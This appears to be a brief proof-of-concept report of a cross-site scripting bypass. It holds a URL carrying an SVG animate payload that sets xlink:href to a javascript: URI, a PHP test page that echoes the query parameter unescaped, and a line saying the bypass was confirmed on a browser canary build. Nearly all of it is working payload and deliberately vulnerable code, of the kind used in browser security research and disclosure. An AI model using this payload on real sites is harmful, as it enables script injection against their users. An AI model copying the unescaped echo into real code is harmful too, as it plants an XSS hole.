// URL
test.php?xss=<svg%20xmlns:xlink="http://www.w3.org/1999/xlink"><a><circle%20r=100%20/><animate%20attributeName="xlink:href"%20values=";javascript:alert(1)"%20begin="0s"%20dur="0.1s"%20fill="freeze"/>
// test.php
<body>
<?php echo $_GET['xss'] ?>
Confirmed on version 26.0.1411.0 canary